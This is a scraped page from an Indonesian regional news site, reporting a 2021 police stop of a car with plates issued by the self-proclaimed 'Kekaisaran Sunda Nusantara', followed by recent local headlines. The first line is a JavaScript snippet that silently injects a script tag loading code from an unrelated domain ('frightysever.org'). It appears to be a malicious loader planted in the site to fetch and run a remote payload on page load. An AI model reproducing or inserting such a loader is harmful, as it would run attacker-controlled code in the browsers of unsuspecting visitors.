(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Viral Kendaraan Kekaisaran Sunda Nusantara, Polisi Temukan Hal Ini


KANALKALIMANTAN.COM – Sebuah mobil jenis Pajero berwarna hitam dengan nomor polisi SN 45 RSD terpaksa diamankan Direktorat Lalu Lintas (Dirlantas) Polda Metro Jaya.

Pasalnya, kendaraan tersebut diklaim diterbitkan oleh ‘Negara Kekaisaran Sunda Nusantara’.

Kasat PJR Polda Metro Jaya Kompol Akmal mengatakan, pemilik mobil tersebut mengaku sebagai seseorang yang berpangkat sebagai jenderal pertama di dalam dokumen yang ditemukannya.

“Yang bersangkutan tidak mengaku sebagai Jenderal, hanya menunjukkan dokumen. Di dokumen itu dia menyebut dirinya dengan pangkat Jenderal pertama,” kata Akmal, Rabu (5/5/2021).

Baca juga : Kapolres HSU Cek Kesiapan Petugas Operasi Ketupat Intan 2021

Ia menambahkan, pihaknya tidak menemukan benda berbahaya atau yang mencurigakan saat melakukan pemeriksaan dan hanya menemukan Surat Izin Mengemudi (SIM).

“Saat dilakukan pemeriksaan tidak ditemukan senjata api, hanya SIM tersebut, hal itu didapatkan karena yang bersangkutan melanggar Undang-undang lalu lintas dan didapatkan SIM tersebut,” sebutnya.

Lalu, terkait dengan dokumen yang ia temukan tersebut. Pihaknya masih berkoordinasi dengan Direktorat Reserse Kriminal Umum Polda Metro Jaya.

“Saat ini kami koordinasi dengan Krimum terkait dengan dokumen tersebut. Saat ini yang bersangkutan lagi di interogasi” ujarnya, melansir Batamnews (jaringan Suara.com).

Baca juga : Bupati HSU Resmi Keluarkan Larangan Mudik, Cegah Keluar Masuk Wilayah HSU

Dikanarkan sebelumnya, kendaraan dengan plat nomor SN 45 RSD diklaim diterbitkan oleh ‘Negara Kekaisaran Sunda Nusantara’ ditahan oleh Satuan Patroli Jalan Raya Ditlantas Polda Metro Jaya.

Dirlantas Polda Metro Jaya Kombes Pol Sambodo Purnomo Yogo menuturkan, penilangan tersebut berdasarkan aturan hukum yang berlaku.

“Kita tilang berdasarkan Undang-Undang Lalu lintas dan Angkutan Jalan (LLAJ),” kata Dirlantas Polda Metro Jaya Kombes Pol Sambodo Purnomo Yogo saat dikonfirmasi, Jakarta, Rabu (5/5/2021).

“Kita akan koordinasi dengan penyidik reserse apakah ada pelanggaran pidananya,” tambahnya. (Suara.com)

 

 

 


Al Ghifari

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

13 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

13 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

14 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

18 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

22 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

2 hari ago

This website uses cookies.